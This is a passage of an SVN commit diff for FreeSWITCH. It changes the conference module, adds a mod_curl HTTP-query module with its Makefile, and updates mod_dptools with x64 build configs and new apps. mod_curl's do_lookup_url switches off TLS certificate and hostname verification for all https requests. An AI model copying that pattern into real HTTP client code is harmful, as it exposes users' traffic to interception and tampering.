 	}
@@ -5328,6 +5758,10 @@
 		set_mflags(member_flags, &conference->mflags);
 	}
 
+	if (conference_flags) {
+		set_cflags(conference_flags, &conference->flags);
+	}
+
 	if (sound_prefix) {
 		conference->sound_prefix = switch_core_strdup(conference->pool, sound_prefix);
 	}
@@ -5352,6 +5786,14 @@
 		conference->muted_sound = switch_core_strdup(conference->pool, muted_sound);
 	}
 
+	if (switch_strlen_zero(mute_detect_sound)) {
+		if (!switch_strlen_zero(muted_sound)) {
+			conference->mute_detect_sound = switch_core_strdup(conference->pool, muted_sound);
+		}
+	} else {
+		conference->mute_detect_sound = switch_core_strdup(conference->pool, mute_detect_sound);
+	}
+
 	if (!switch_strlen_zero(unmuted_sound)) {
 		conference->unmuted_sound = switch_core_strdup(conference->pool, unmuted_sound);
 	}
@@ -5448,7 +5890,12 @@
 	switch_mutex_init(&conference->flag_mutex, SWITCH_MUTEX_NESTED, conference->pool);
 	switch_thread_rwlock_create(&conference->rwlock, conference->pool);
 	switch_mutex_init(&conference->member_mutex, SWITCH_MUTEX_NESTED, conference->pool);
+	switch_core_hash_insert(globals.conference_hash, conference->name, conference);
 
+ end:
+
+	switch_mutex_unlock(globals.hash_mutex);
+
 	return conference;
 }
 
@@ -5472,7 +5919,7 @@
 		*e = '\0';
 	}
 
-	if ((conference = (conference_obj_t *) switch_core_hash_find(globals.conference_hash, conf_name))) {
+	if ((conference = conference_find(conf_name))) {
 		if (switch_event_create(&event, SWITCH_EVENT_PRESENCE_IN) == SWITCH_STATUS_SUCCESS) {
 			switch_event_add_header_string(event, SWITCH_STACK_BOTTOM, "proto", CONF_CHAT_PROTO);
 			switch_event_add_header_string(event, SWITCH_STACK_BOTTOM, "login", conference->name);
@@ -5603,6 +6050,7 @@
 	switch_mutex_init(&globals.conference_mutex, SWITCH_MUTEX_NESTED, globals.conference_pool);
 	switch_mutex_init(&globals.id_mutex, SWITCH_MUTEX_NESTED, globals.conference_pool);
 	switch_mutex_init(&globals.hash_mutex, SWITCH_MUTEX_NESTED, globals.conference_pool);
+	switch_mutex_init(&globals.setup_mutex, SWITCH_MUTEX_NESTED, globals.conference_pool);
 
 	/* Subscribe to presence request events */
 	if (switch_event_bind_removable(modname, SWITCH_EVENT_PRESENCE_PROBE, SWITCH_EVENT_SUBCLASS_ANY, pres_event_handler, NULL, &globals.node) != SWITCH_STATUS_SUCCESS) {

Copied: freeswitch/branches/seven/src/mod/applications/mod_curl (from rev 14471, freeswitch/trunk/src/mod/applications/mod_curl)

Deleted: freeswitch/branches/seven/src/mod/applications/mod_curl/Makefile

Copied: freeswitch/branches/seven/src/mod/applications/mod_curl/Makefile (from rev 14471, freeswitch/trunk/src/mod/applications/mod_curl/Makefile) (0 => 14472)


--- freeswitch/branches/seven/src/mod/applications/mod_curl/Makefile	                        (rev 0)
+++ freeswitch/branches/seven/src/mod/applications/mod_curl/Makefile	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,27 @@
+json-c=json-c-0.8
+BASE=../../../..
+WANT_CURL=yes
+
+JSON_DIR=$(BASE)/libs/$(json-c)
+
+JSONLA=$(JSON_DIR)/libjson.la
+
+LOCAL_CFLAGS=-I$(JSON_DIR)
+LOCAL_LIBADD=$(JSONLA)
+
+include $(BASE)/build/modmake.rules
+
+DEFAULT_ARGS=--prefix=$(PREFIX) --disable-shared --with-pic
+
+$(LOCAL_OBJS): $(LOCAL_SOURCES)
+
+$(JSON_DIR):
+	$(GETLIB) $(json-c).tar.gz
+
+$(JSON_DIR)/Makefile: $(JSON_DIR)
+	cd $(JSON_DIR) && CFLAGS=$(AM_CFLAGS) CC=$(CC) CXX=$(CXX) ./configure --disable-shared --with-pic CPPFLAGS= LDFLAGS=
+	$(TOUCH_TARGET)
+
+$(JSONLA): $(JSON_DIR)/Makefile
+	cd $(JSON_DIR) && $(MAKE)
+	$(TOUCH_TARGET)

Deleted: freeswitch/branches/seven/src/mod/applications/mod_curl/mod_curl.c

Copied: freeswitch/branches/seven/src/mod/applications/mod_curl/mod_curl.c (from rev 14471, freeswitch/trunk/src/mod/applications/mod_curl/mod_curl.c) (0 => 14472)


--- freeswitch/branches/seven/src/mod/applications/mod_curl/mod_curl.c	                        (rev 0)
+++ freeswitch/branches/seven/src/mod/applications/mod_curl/mod_curl.c	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,447 @@
+/* 
+ * FreeSWITCH Modular Media Switching Software Library / Soft-Switch Application
+ * Copyright (C) 2005-2009, Anthony Minessale II <anthm@freeswitch.org>
+ *
+ * Version: MPL 1.1
+ *
+ * The contents of this file are subject to the Mozilla Public License Version
+ * 1.1 (the "License"); you may not use this file except in compliance with
+ * the License. You may obtain a copy of the License at
+ * http://www.mozilla.org/MPL/
+ *
+ * Software distributed under the License is distributed on an "AS IS" basis,
+ * WITHOUT WARRANTY OF ANY KIND, either express or implied. See the License
+ * for the specific language governing rights and limitations under the
+ * License.
+ *
+ * The Original Code is FreeSWITCH Modular Media Switching Software Library / Soft-Switch Application
+ *
+ * The Initial Developer of the Original Code is
+ * Anthony Minessale II <anthm@freeswitch.org>
+ * Portions created by the Initial Developer are Copyright (C)
+ * the Initial Developer. All Rights Reserved.
+ *
+ * Contributor(s):
+ * 
+ * Rupa Schomaker <rupa@rupa.com>
+ *
+ * mod_curl.c -- API for performing http queries
+ *
+ */
+ 
+#include <switch.h>
+#include <curl/curl.h>
+#include <json.h>
+
+/* Prototypes */
+SWITCH_MODULE_SHUTDOWN_FUNCTION(mod_curl_shutdown);
+SWITCH_MODULE_RUNTIME_FUNCTION(mod_curl_runtime);
+SWITCH_MODULE_LOAD_FUNCTION(mod_curl_load);
+
+/* SWITCH_MODULE_DEFINITION(name, load, shutdown, runtime) 
+ * Defines a switch_loadable_module_function_table_t and a static const char[] modname
+ */
+SWITCH_MODULE_DEFINITION(mod_curl, mod_curl_load, mod_curl_shutdown, NULL);
+
+static char *SYNTAX = "curl url [headers|json] [get|head|post [url_encoded_data]]";
+
+static struct {
+	switch_memory_pool_t *pool;
+} globals;
+
+struct http_data_obj {
+	switch_stream_handle_t stream;
+	switch_size_t bytes;
+	switch_size_t max_bytes;
+	switch_memory_pool_t *pool;
+	int err;
+	long http_response_code;
+	char *http_response;
+	struct curl_slist *headers;
+};
+typedef struct http_data_obj http_data_t;
+
+struct callback_obj {
+	switch_memory_pool_t *pool;
+	char *name;
+};
+typedef struct callback_obj callback_t;
+
+static size_t file_callback(void *ptr, size_t size, size_t nmemb, void *data)
+{
+	register unsigned int realsize = (unsigned int) (size * nmemb);
+	http_data_t *http_data = data;
+
+	http_data->bytes += realsize;
+
+	if (http_data->bytes > http_data->max_bytes) {
+		switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "Oversized file detected [%d bytes]\n", (int)http_data->bytes);
+		http_data->err = 1;
+		return 0;
+	}
+
+	http_data->stream.write_function(
+		&http_data->stream, "%.*s",  realsize, ptr);
+	return realsize;
+}
+
+static size_t header_callback(void *ptr, size_t size, size_t nmemb, void *data)
+{
+	register unsigned int realsize = (unsigned int) (size * nmemb);
+	http_data_t *http_data = data;
+	char *header = NULL;
+	
+	header = switch_core_alloc(http_data->pool, realsize+1);
+	switch_copy_string(header, ptr, realsize);
+	header[realsize] = '\0';
+
+	http_data->headers = curl_slist_append(http_data->headers, header);
+	
+	return realsize;
+}
+
+static http_data_t *do_lookup_url(switch_memory_pool_t *pool, const char *url, const char *method, const char *data) {
+	
+	CURL *curl_handle = NULL;
+	long httpRes = 0;
+	char hostname[256] = "";
+
+	http_data_t *http_data = NULL;
+
+	http_data = switch_core_alloc(pool, sizeof(http_data_t));
+	memset(http_data, 0, sizeof(http_data_t));
+	http_data->pool = pool;
+	
+	http_data->max_bytes = 64000;
+	SWITCH_STANDARD_STREAM(http_data->stream);
+
+	gethostname(hostname, sizeof(hostname));
+	
+	if (!method) {
+		method = "get";
+	}
+	
+	switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "method: %s, url: %s\n", method, url);
+	curl_handle = curl_easy_init();
+	
+	if (!strncasecmp(url, "https", 5)) {
+		curl_easy_setopt(curl_handle, CURLOPT_SSL_VERIFYPEER, 0);
+		curl_easy_setopt(curl_handle, CURLOPT_SSL_VERIFYHOST, 0);
+	}
+	if (!strcasecmp(method, "head")) {
+		curl_easy_setopt(curl_handle, CURLOPT_NOBODY, SWITCH_TRUE);
+	} else if(!strcasecmp(method, "post")) {
+		curl_easy_setopt(curl_handle, CURLOPT_POSTFIELDSIZE, strlen(data));
+		curl_easy_setopt(curl_handle, CURLOPT_POSTFIELDS, (void *) data);
+		switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "Post data: %s\n", data);
+	} else {
+		curl_easy_setopt(curl_handle, CURLOPT_HTTPGET, SWITCH_TRUE);
+	}
+	curl_easy_setopt(curl_handle, CURLOPT_FOLLOWLOCATION, 0);
+	curl_easy_setopt(curl_handle, CURLOPT_MAXREDIRS, 0);
+	curl_easy_setopt(curl_handle, CURLOPT_URL, url);
+	curl_easy_setopt(curl_handle, CURLOPT_WRITEFUNCTION, file_callback);
+	curl_easy_setopt(curl_handle, CURLOPT_WRITEDATA, (void *) http_data);
+	curl_easy_setopt(curl_handle, CURLOPT_HEADERFUNCTION, header_callback);
+	curl_easy_setopt(curl_handle, CURLOPT_HEADERDATA, (void *) http_data);
+	curl_easy_setopt(curl_handle, CURLOPT_USERAGENT, "freeswitch-curl/1.0");
+
+	curl_easy_perform(curl_handle);
+	curl_easy_getinfo(curl_handle, CURLINFO_RESPONSE_CODE, &httpRes);
+	curl_easy_cleanup(curl_handle);
+	
+	if (	http_data->stream.data &&
+			!switch_strlen_zero((char *)http_data->stream.data) &&
+			strcmp(" ", http_data->stream.data) ) {
+		
+		http_data->http_response = switch_core_strdup(pool, http_data->stream.data);
+	}
+	
+	http_data->http_response_code = httpRes;
+	
+	switch_safe_free(http_data->stream.data);
+	return http_data;
+}
+
+
+static char *print_json(switch_memory_pool_t *pool, http_data_t *http_data) {
+	struct json_object *top = NULL;
+	struct json_object *headers = NULL;
+	char *data = NULL;
+	struct curl_slist *header = http_data->headers;
+	
+	top = json_object_new_object();
+	headers = json_object_new_array();
+	json_object_object_add(top, "status_code", json_object_new_int(http_data->http_response_code));
+	if (http_data->http_response) {
+		json_object_object_add(top, "body", json_object_new_string(http_data->http_response));
+	}
+	
+	/* parse header data */
+	while(header) {
+		struct json_object *obj = NULL;
+		/* remove trailing \r */
+		if ((data=rindex(header->data, '\r'))) {
+			*data = '\0';
+		}
+		
+		if switch_strlen_zero(header->data) {
+			header = header->next;
+			continue;
+		}
+		
+		if ((data = index(header->data, ':'))) {
+			*data = '\0';
+			data++;
+			while(*data == ' ' && *data != '\0') {
+				data++;
+			}
+			obj = json_object_new_object(); 
+			json_object_object_add(obj, "key", json_object_new_string(header->data));
+			json_object_object_add(obj, "value", json_object_new_string(data));
+			json_object_array_add(headers, obj);
+		} else {
+			if (!strncmp("HTTP", header->data, 4)) {
+				char *argv[3] = { 0 };
+				int argc;
+				if ((argc = switch_separate_string(header->data, ' ', argv, (sizeof(argv) / sizeof(argv[0]))))) {
+					if (argc > 2) {
+						json_object_object_add(top, "version", json_object_new_string(argv[0]));
+						json_object_object_add(top, "phrase", json_object_new_string(argv[2]));
+					} else {
+						switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "Unparsable header: argc: %d\n", argc);
+					}
+				} else {
+					switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "Starts with HTTP but not parsable: %s\n", header->data);
+				}
+			} else {
+				switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "Unparsable header: %s\n", header->data);
+			}
+		}
+		header = header->next;
+	}
+	json_object_object_add(top, "headers", headers);
+	data = switch_core_strdup(pool, json_object_to_json_string(top));
+	json_object_put(top); /* should free up all children */
+	
+	return data;
+}
+
+SWITCH_STANDARD_APP(curl_app_function)
+{
+	switch_status_t status = SWITCH_STATUS_SUCCESS;
+	
+	char *argv[10] = { 0 };
+	int argc;
+	char *mydata = NULL;
+
+	switch_memory_pool_t *pool = NULL;
+	switch_channel_t *channel = switch_core_session_get_channel(session);
+	char *url = NULL;
+	char *method = NULL;
+	char *postdata = NULL;
+	switch_bool_t do_headers = SWITCH_FALSE;
+	switch_bool_t do_json = SWITCH_FALSE;
+	http_data_t *http_data = NULL;
+	struct curl_slist *slist = NULL;
+	switch_stream_handle_t stream = { 0 };
+	int i = 0;
+	
+	
+	if (session) {
+		pool = switch_core_session_get_pool(session);
+	} else {
+		switch_core_new_memory_pool(&pool);
+	}
+	if (!(mydata = switch_core_session_strdup(session, data))) {
+		return;
+	}
+	
+	if ((argc = switch_separate_string(mydata, ' ', argv, (sizeof(argv) / sizeof(argv[0]))))) {
+		if (argc == 0) {
+			switch_goto_status(SWITCH_STATUS_SUCCESS, usage);
+		}
+		
+		url = switch_core_strdup(pool, argv[0]);
+
+		for (i =1; i < argc; i++) {
+			if (!strcasecmp("headers", argv[i])) {
+				do_headers = SWITCH_TRUE;
+			} else if (!strcasecmp("json", argv[i])) {
+				do_json = SWITCH_TRUE;
+			} else if ( !strcasecmp("get", argv[i]) || 
+						!strcasecmp("head", argv[i])) {
+				method = switch_core_strdup(pool, argv[i]);
+			} else if (!strcasecmp("post", argv[i])) {
+				if ( ++i < argc) { 
+					postdata = switch_core_strdup(pool, argv[i]);
+					switch_url_decode(postdata);
+				} else {
+					postdata = "";
+				}
+			}
+		}
+	}
+	
+	http_data = do_lookup_url(pool, url, method, postdata);
+	if (do_json) {
+		switch_channel_set_variable(channel, "curl_response_data", print_json(pool, http_data));
+	} else {
+		SWITCH_STANDARD_STREAM(stream);
+		stream.write_function(&stream, "%ld\n", http_data->http_response_code);
+		if(do_headers) {
+			slist = http_data->headers;
+			while(slist) {
+				stream.write_function(&stream, "%s\n", slist->data);
+				slist = slist->next;
+			}
+			stream.write_function(&stream, "\n");
+		}
+		stream.write_function(&stream, "%s", http_data->http_response ? http_data->http_response : "");
+		switch_channel_set_variable(channel, "curl_response_data", stream.data);
+	}
+	switch_channel_set_variable(channel, "curl_response_code", 
+	switch_core_sprintf(pool, "%ld", http_data->http_response_code));
+	switch_channel_set_variable(channel, "curl_method", method);
+
+	switch_goto_status(SWITCH_STATUS_SUCCESS, done);
+	
+usage:
+	switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "Usage: %s\n", SYNTAX);
+	switch_goto_status(status, done);
+	
+done:
+	switch_safe_free(stream.data);
+	if (http_data && http_data->headers) {
+		curl_slist_free_all(http_data->headers);
+	}
+	if (!session && pool) {
+		switch_core_destroy_memory_pool(&pool);
+	}
+}
+SWITCH_STANDARD_API(curl_function)
+{
+	switch_status_t status;
+	char *argv[10] = { 0 };
+	int argc;
+	char *mydata = NULL;
+	char *url = NULL;
+	char *method = NULL;
+	char *postdata = NULL;
+	switch_bool_t do_headers = SWITCH_FALSE;
+	switch_bool_t do_json = SWITCH_FALSE;
+	struct curl_slist *slist = NULL;
+	http_data_t *http_data = NULL;
+	int i = 0;
+
+	switch_memory_pool_t *pool = NULL;
+	
+	if (switch_strlen_zero(cmd)) {
+		switch_goto_status(SWITCH_STATUS_SUCCESS, usage);
+	}
+
+	if (session) {
+		pool = switch_core_session_get_pool(session);
+	} else {
+		switch_core_new_memory_pool(&pool);
+	}
+
+	mydata = strdup(cmd);
+	if ((argc = switch_separate_string(mydata, ' ', argv, (sizeof(argv) / sizeof(argv[0]))))) {
+		if (argc < 1) {
+			switch_goto_status(SWITCH_STATUS_SUCCESS, usage);
+		}
+		
+		url = switch_core_strdup(pool, argv[0]);
+		
+		for (i =1; i < argc; i++) {
+			if (!strcasecmp("headers", argv[i])) {
+				do_headers = SWITCH_TRUE;
+			} else if (!strcasecmp("json", argv[i])) {
+				do_json = SWITCH_TRUE;
+			} else if ( !strcasecmp("get", argv[i]) || 
+						!strcasecmp("head", argv[i])) {
+				method = switch_core_strdup(pool, argv[i]);
+			} else if (!strcasecmp("post", argv[i])) {
+				method = "post";
+				if ( ++i < argc) { 
+					postdata = switch_core_strdup(pool, argv[i]);
+					switch_url_decode(postdata);
+				} else {
+					postdata = "";
+				}
+			}
+		}
+		
+		http_data = do_lookup_url(pool, url, method, postdata);
+		if (do_json) {
+			stream->write_function(stream, "%s", print_json(pool, http_data));
+		} else {
+			if(do_headers) {
+				slist = http_data->headers;
+				while(slist) {
+					stream->write_function(stream, "%s\n", slist->data);
+					slist = slist->next;
+				}
+				stream->write_function(stream, "\n");
+			}
+			stream->write_function(stream, "%s", http_data->http_response ? http_data->http_response : "");
+		}
+	}
+	switch_goto_status(SWITCH_STATUS_SUCCESS, done);
+
+usage:
+	stream->write_function(stream, "-ERR\n%s\n", SYNTAX);
+	switch_goto_status(status, done);
+	
+done: 
+	if (http_data && http_data->headers) {
+		curl_slist_free_all(http_data->headers);
+	}
+	switch_safe_free(mydata);
+	if (!session && pool) {
+		switch_core_destroy_memory_pool(&pool);
+	}
+	return status;
+}
+
+/* Macro expands to: switch_status_t mod_cidlookup_load(switch_loadable_module_interface_t **module_interface, switch_memory_pool_t *pool) */
+SWITCH_MODULE_LOAD_FUNCTION(mod_curl_load)
+{
+	switch_api_interface_t *api_interface;
+	switch_application_interface_t *app_interface;
+	/* connect my internal structure to the blank pointer passed to me */
+	*module_interface = switch_loadable_module_create_module_interface(pool, modname);
+
+	memset(&globals, 0, sizeof(globals));
+	
+	globals.pool = pool;
+
+	SWITCH_ADD_API(api_interface, "curl", "curl API", curl_function, SYNTAX);
+	SWITCH_ADD_APP(app_interface, "curl", "Perform a http request", "Perform a http request",
+				   curl_app_function, SYNTAX, SAF_SUPPORT_NOMEDIA);
+
+	/* indicate that the module should continue to be loaded */
+	return SWITCH_STATUS_SUCCESS;
+}
+
+/*
+  Called when the system shuts down
+  Macro expands to: switch_status_t mod_cidlookup_shutdown() */
+SWITCH_MODULE_SHUTDOWN_FUNCTION(mod_curl_shutdown)
+{
+	/* Cleanup dynamically allocated config settings */
+
+	return SWITCH_STATUS_SUCCESS;
+}
+
+/* For Emacs:
+ * Local Variables:
+ * mode:c
+ * indent-tabs-mode:t
+ * tab-width:4
+ * c-basic-offset:4
+ * End:
+ * For VIM:
+ * vim:set softtabstop=4 shiftwidth=4 tabstop=4
+ */

Property changes: freeswitch/branches/seven/src/mod/applications/mod_dptools


Name: svn:ignore
   - Release
Debug
*.user
*.so
*.pdb
*.dylib
*.o
.libs
Makefile
debug
   + Release
Debug
*.user
*.so
*.pdb
*.dylib
*.o
.libs
Makefile
debug
Win32
x64

Modified: freeswitch/branches/seven/src/mod/applications/mod_dptools/mod_dptools.2008.vcproj (14471 => 14472)


--- freeswitch/branches/seven/src/mod/applications/mod_dptools/mod_dptools.2008.vcproj	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/src/mod/applications/mod_dptools/mod_dptools.2008.vcproj	2009-08-09 18:53:22 UTC (rev 14472)
@@ -12,6 +12,9 @@
 		<Platform
 			Name="Win32"
 		/>
+		<Platform
+			Name="x64"
+		/>
 	</Platforms>
 	<ToolFiles>
 	</ToolFiles>
@@ -78,6 +81,70 @@
 			/>
 		</Configuration>
 		<Configuration
+			Name="Debug|x64"
+			ConfigurationType="2"
+			InheritedPropertySheets="..\..\..\..\w32\module_debug.vsprops"
+			CharacterSet="2"
+			>
+			<Tool
+				Name="VCPreBuildEventTool"
+			/>
+			<Tool
+				Name="VCCustomBuildTool"
+			/>
+			<Tool
+				Name="VCXMLDataGeneratorTool"
+			/>
+			<Tool
+				Name="VCWebServiceProxyGeneratorTool"
+			/>
+			<Tool
+				Name="VCMIDLTool"
+				TargetEnvironment="3"
+			/>
+			<Tool
+				Name="VCCLCompilerTool"
+				UsePrecompiledHeader="0"
+			/>
+			<Tool
+				Name="VCManagedResourceCompilerTool"
+			/>
+			<Tool
+				Name="VCResourceCompilerTool"
+			/>
+			<Tool
+				Name="VCPreLinkEventTool"
+			/>
+			<Tool
+				Name="VCLinkerTool"
+				OutputFile="$(SolutionDir)$(PlatformName)\$(ConfigurationName)/mod/$(ProjectName).dll"
+				RandomizedBaseAddress="1"
+				DataExecutionPrevention="0"
+				TargetMachine="17"
+			/>
+			<Tool
+				Name="VCALinkTool"
+			/>
+			<Tool
+				Name="VCManifestTool"
+			/>
+			<Tool
+				Name="VCXDCMakeTool"
+			/>
+			<Tool
+				Name="VCBscMakeTool"
+			/>
+			<Tool
+				Name="VCFxCopTool"
+			/>
+			<Tool
+				Name="VCAppVerifierTool"
+			/>
+			<Tool
+				Name="VCPostBuildEventTool"
+			/>
+		</Configuration>
+		<Configuration
 			Name="Release|Win32"
 			ConfigurationType="2"
 			InheritedPropertySheets="..\..\..\..\w32\module_release.vsprops"
@@ -138,6 +205,70 @@
 				Name="VCPostBuildEventTool"
 			/>
 		</Configuration>
+		<Configuration
+			Name="Release|x64"
+			ConfigurationType="2"
+			InheritedPropertySheets="..\..\..\..\w32\module_release.vsprops"
+			CharacterSet="2"
+			>
+			<Tool
+				Name="VCPreBuildEventTool"
+			/>
+			<Tool
+				Name="VCCustomBuildTool"
+			/>
+			<Tool
+				Name="VCXMLDataGeneratorTool"
+			/>
+			<Tool
+				Name="VCWebServiceProxyGeneratorTool"
+			/>
+			<Tool
+				Name="VCMIDLTool"
+				TargetEnvironment="3"
+			/>
+			<Tool
+				Name="VCCLCompilerTool"
+				UsePrecompiledHeader="0"
+			/>
+			<Tool
+				Name="VCManagedResourceCompilerTool"
+			/>
+			<Tool
+				Name="VCResourceCompilerTool"
+			/>
+			<Tool
+				Name="VCPreLinkEventTool"
+			/>
+			<Tool
+				Name="VCLinkerTool"
+				OutputFile="$(SolutionDir)$(PlatformName)\$(ConfigurationName)/mod/$(ProjectName).dll"
+				RandomizedBaseAddress="1"
+				DataExecutionPrevention="0"
+				TargetMachine="17"
+			/>
+			<Tool
+				Name="VCALinkTool"
+			/>
+			<Tool
+				Name="VCManifestTool"
+			/>
+			<Tool
+				Name="VCXDCMakeTool"
+			/>
+			<Tool
+				Name="VCBscMakeTool"
+			/>
+			<Tool
+				Name="VCFxCopTool"
+			/>
+			<Tool
+				Name="VCAppVerifierTool"
+			/>
+			<Tool
+				Name="VCPostBuildEventTool"
+			/>
+		</Configuration>
 	</Configurations>
 	<References>
 	</References>

Modified: freeswitch/branches/seven/src/mod/applications/mod_dptools/mod_dptools.c (14471 => 14472)


--- freeswitch/branches/seven/src/mod/applications/mod_dptools/mod_dptools.c	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/src/mod/applications/mod_dptools/mod_dptools.c	2009-08-09 18:53:22 UTC (rev 14472)
@@ -1,6 +1,6 @@
 /* 
  * FreeSWITCH Modular Media Switching Software Library / Soft-Switch Application
- * Copyright (C) 2005/2006, Anthony Minessale II <anthmct@yahoo.com>
+ * Copyright (C) 2005-2009, Anthony Minessale II <anthm@freeswitch.org>
  *
  * Version: MPL 1.1
  *
@@ -17,13 +17,13 @@
  * The Original Code is FreeSWITCH Modular Media Switching Software Library / Soft-Switch Application
  *
  * The Initial Developer of the Original Code is
- * Anthony Minessale II <anthmct@yahoo.com>
+ * Anthony Minessale II <anthm@freeswitch.org>
  * Portions created by the Initial Developer are Copyright (C)
  * the Initial Developer. All Rights Reserved.
  *
  * Contributor(s):
  * 
- * Anthony Minessale II <anthmct@yahoo.com>
+ * Anthony Minessale II <anthm@freeswitch.org>
  * Ken Rice, Asteria Solutions Group, Inc <ken@asteriasgi.com>
  * Michael Murdock <mike at mmurdock dot org>
  * Neal Horman <neal at wanlink dot com>
@@ -40,7 +40,7 @@
 SWITCH_STANDARD_DIALPLAN(inline_dialplan_hunt)
 {
 	switch_caller_extension_t *extension = NULL;
-	char *argv[4] = { 0 };
+	char *argv[128] = { 0 };
 	int argc;
 	switch_channel_t *channel = switch_core_session_get_channel(session);
 	int x = 0;
@@ -111,6 +111,42 @@
 	}
 }
 
+
+#define SCHED_HEARTBEAT_SYNTAX "[0|<seconds>]"
+SWITCH_STANDARD_APP(sched_heartbeat_function)
+{
+	int seconds = 0;
+
+	if (data) {
+		seconds = atoi(data);
+		if (seconds >= 0) {
+			switch_core_session_sched_heartbeat(session, seconds);
+			return;
+		}
+	}
+
+	switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "Usage: %s\n", SCHED_HEARTBEAT_SYNTAX);
+
+}
+
+
+#define HEARTBEAT_SYNTAX "[0|<seconds>]"
+SWITCH_STANDARD_APP(heartbeat_function)
+{
+	int seconds = 0;
+
+	if (data) {
+		seconds = atoi(data);
+		if (seconds >= 0) {
+			switch_core_session_enable_heartbeat(session, seconds);
+			return;
+		}
+	}
+
+	switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "Usage: %s\n", HEARTBEAT_SYNTAX);
+
+}
+
 #define EXE_SYNTAX "<extension> <dialplan> <context>"
 SWITCH_STANDARD_APP(exe_function)
 {
@@ -349,6 +385,7 @@
 				switch_safe_free(e_data.uuid_list[x]);
 			}
 
+			free(sql);
 			switch_core_db_close(db);
 
 		} else {
@@ -385,7 +422,19 @@
 
 SWITCH_STANDARD_APP(break_function)
 {
-	switch_channel_set_flag(switch_core_session_get_channel(session), CF_BREAK);
+	switch_channel_t *channel;
+
+	channel = switch_core_session_get_channel(session);
+
+	if (data && strcasecmp(data, "all")) {
+		switch_core_session_flush_private_events(session);
+	}
+
+	if (switch_channel_test_flag(channel, CF_BROADCAST)) {
+		switch_channel_stop_broadcast(channel);
+	} else {
+		switch_channel_set_flag(channel, CF_BREAK);
+	}
 }
 
 SWITCH_STANDARD_APP(queue_dtmf_function)
@@ -473,7 +522,7 @@
 			time_t when;
 
 			if (*argv[0] == '+') {
-				when = switch_timestamp(NULL) + atol(argv[0] + 1);
+				when = switch_epoch_time_now(NULL) + atol(argv[0] + 1);
 			} else {
 				when = atol(argv[0]);
 			}
@@ -498,7 +547,7 @@
 			switch_bool_t bleg = SWITCH_FALSE;
 
 			if (*argv[0] == '+') {
-				when = switch_timestamp(NULL) + atol(argv[0] + 1);
+				when = switch_epoch_time_now(NULL) + atol(argv[0] + 1);
 			} else {
 				when = atol(argv[0]);
 			}
@@ -530,7 +579,7 @@
 			switch_media_flag_t flags = SMF_NONE;
 
 			if (*argv[0] == '+') {
-				when = switch_timestamp(NULL) + atol(argv[0] + 1);
+				when = switch_epoch_time_now(NULL) + atol(argv[0] + 1);
 			} else {
 				when = atol(argv[0]);
 			}
@@ -890,7 +939,7 @@
 	switch_event_t *event;
 	char *buf;
 
-	if (switch_event_create(&event, SWITCH_EVENT_CHANNEL_DATA) == SWITCH_STATUS_SUCCESS) {
+	if (switch_event_create_plain(&event, SWITCH_EVENT_CHANNEL_DATA) == SWITCH_STATUS_SUCCESS) {
 		switch_channel_event_set_data(switch_core_session_get_channel(session), event);
 		switch_event_serialize(event, &buf, SWITCH_FALSE);
 		switch_assert(buf);
@@ -900,6 +949,11 @@
 	}
 }
 
+SWITCH_STANDARD_APP(sound_test_function)
+{
+	switch_ivr_sound_test(session);
+}
+
 SWITCH_STANDARD_APP(event_function)
 {
 	switch_event_t *event;
@@ -908,7 +962,6 @@
 	char *lbuf;
 
 	if (switch_event_create(&event, SWITCH_EVENT_CHANNEL_APPLICATION) == SWITCH_STATUS_SUCCESS) {
-		switch_channel_event_set_data(switch_core_session_get_channel(session), event);
 		if (!switch_strlen_zero(data) && (lbuf = switch_core_session_strdup(session, data))
 			&& (argc = switch_separate_string(lbuf, ',', argv, (sizeof(argv) / sizeof(argv[0]))))) {
 			int x = 0;
@@ -933,11 +986,24 @@
 						while (*p == ' ')
 							*p++ = '\0';
 						val = p;
-						switch_event_add_header(event, SWITCH_STACK_BOTTOM, var, "%s", val);
+						if (!strcasecmp(var,"Event-Name")) {
+							switch_name_event(val, &event->event_id);
+							switch_event_del_header(event, var);
+							switch_event_add_header_string(event, SWITCH_STACK_BOTTOM, var, val);
+						} else if (!strcasecmp(var,"Event-Subclass")) {
+							size_t len = strlen(val) + 1;
+							void *new = malloc(len);
+							switch_assert(new);
+							memcpy(new, val, len);
+							event->subclass_name = new;
+						} else {
+							switch_event_add_header_string(event, SWITCH_STACK_BOTTOM, var, val);
+						}
 					}
 				}
 			}
 		}
+		switch_channel_event_set_data(switch_core_session_get_channel(session), event);
 		switch_event_fire(&event);
 	}
 }
@@ -951,17 +1017,18 @@
 	} else {
 		switch_set_flag(caller_profile, SWITCH_CPF_SCREEN);
 
-		if (!strcasecmp(data, "no")) {
-			switch_clear_flag(caller_profile, SWITCH_CPF_HIDE_NAME);
-			switch_clear_flag(caller_profile, SWITCH_CPF_HIDE_NUMBER);
-		} else if (!strcasecmp(data, "yes")) {
+
+		if (!strcasecmp(data, "full")) {
 			switch_set_flag(caller_profile, SWITCH_CPF_HIDE_NAME | SWITCH_CPF_HIDE_NUMBER);
-		} else if (!strcasecmp(data, "full")) {
-			switch_set_flag(caller_profile, SWITCH_CPF_HIDE_NAME | SWITCH_CPF_HIDE_NUMBER);
 		} else if (!strcasecmp(data, "name")) {
 			switch_set_flag(caller_profile, SWITCH_CPF_HIDE_NAME);
 		} else if (!strcasecmp(data, "number")) {
 			switch_set_flag(caller_profile, SWITCH_CPF_HIDE_NUMBER);
+		} else if (switch_true(data)) {
+			switch_set_flag(caller_profile, SWITCH_CPF_HIDE_NAME | SWITCH_CPF_HIDE_NUMBER);
+		} else if (switch_false(data)) {
+			switch_clear_flag(caller_profile, SWITCH_CPF_HIDE_NAME);
